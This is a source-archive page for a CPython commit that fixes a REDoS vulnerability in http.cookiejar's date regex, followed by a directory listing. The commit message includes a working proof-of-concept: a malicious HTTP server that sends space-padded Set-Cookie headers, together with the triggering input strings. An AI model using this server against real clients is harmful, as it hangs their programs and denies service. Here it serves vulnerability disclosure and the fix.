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v0.8.1
v0.8.1
https://github.com/python/cpython
Revision a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC, committed by GitHub on 22 November 2019, 14:42:06 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent c3cd0de
Tip revision: a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
Tip revision: a1e1be4
File | Mode | Size |
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bdist_wininst | ||
clinic | ||
icons | ||
layout | ||
WinMain.c | -rw-r--r-- | 449 bytes |
_msi.c | -rw-r--r-- | 32.6 KB |
_testconsole.c | -rw-r--r-- | 3.3 KB |
classicAppCompat.can.xml | -rw-r--r-- | 3.9 KB |
classicAppCompat.cat | -rw-r--r-- | 10.7 KB |
classicAppCompat.sccd | -rw-r--r-- | 18.1 KB |
config.c | -rw-r--r-- | 5.5 KB |
crtlicense.txt | -rw-r--r-- | 1.7 KB |
dl_nt.c | -rw-r--r-- | 4.6 KB |
empty.c | -rw-r--r-- | 137 bytes |
errmap.h | -rw-r--r-- | 4.9 KB |
errmap.mak | -rw-r--r-- | 95 bytes |
frozen_dllmain.c | -rw-r--r-- | 3.9 KB |
getpathp.c | -rw-r--r-- | 35.2 KB |
invalid_parameter_handler.c | -rw-r--r-- | 549 bytes |
launcher.c | -rw-r--r-- | 63.7 KB |
msvcrtmodule.c | -rw-r--r-- | 15.3 KB |
pyconfig.h | -rw-r--r-- | 19.8 KB |
pylauncher.rc | -rw-r--r-- | 1.5 KB |
pyshellext.cpp | -rw-r--r-- | 18.3 KB |
pyshellext.def | -rw-r--r-- | 141 bytes |
pyshellext.idl | -rw-r--r-- | 277 bytes |
pyshellext.rc | -rw-r--r-- | 1.1 KB |
pyshellext_d.def | -rw-r--r-- | 143 bytes |
python.manifest | -rw-r--r-- | 1.3 KB |
python3.def | -rw-r--r-- | 40.6 KB |
python3dll.c | -rw-r--r-- | 134 bytes |
python_exe.rc | -rw-r--r-- | 1.2 KB |
python_nt.rc | -rw-r--r-- | 1.2 KB |
python_uwp.cpp | -rw-r--r-- | 6.5 KB |
python_ver_rc.h | -rw-r--r-- | 970 bytes |
pythonw_exe.rc | -rw-r--r-- | 1.2 KB |
readme.txt | -rw-r--r-- | 3.5 KB |
sqlite3.rc | -rw-r--r-- | 1.3 KB |
store_info.txt | -rw-r--r-- | 5.6 KB |
testpy.py | -rw-r--r-- | 831 bytes |
validate_ucrtbase.py | -rw-r--r-- | 2.7 KB |
winreg.c | -rw-r--r-- | 60.4 KB |
winsound.c | -rw-r--r-- | 6.5 KB |
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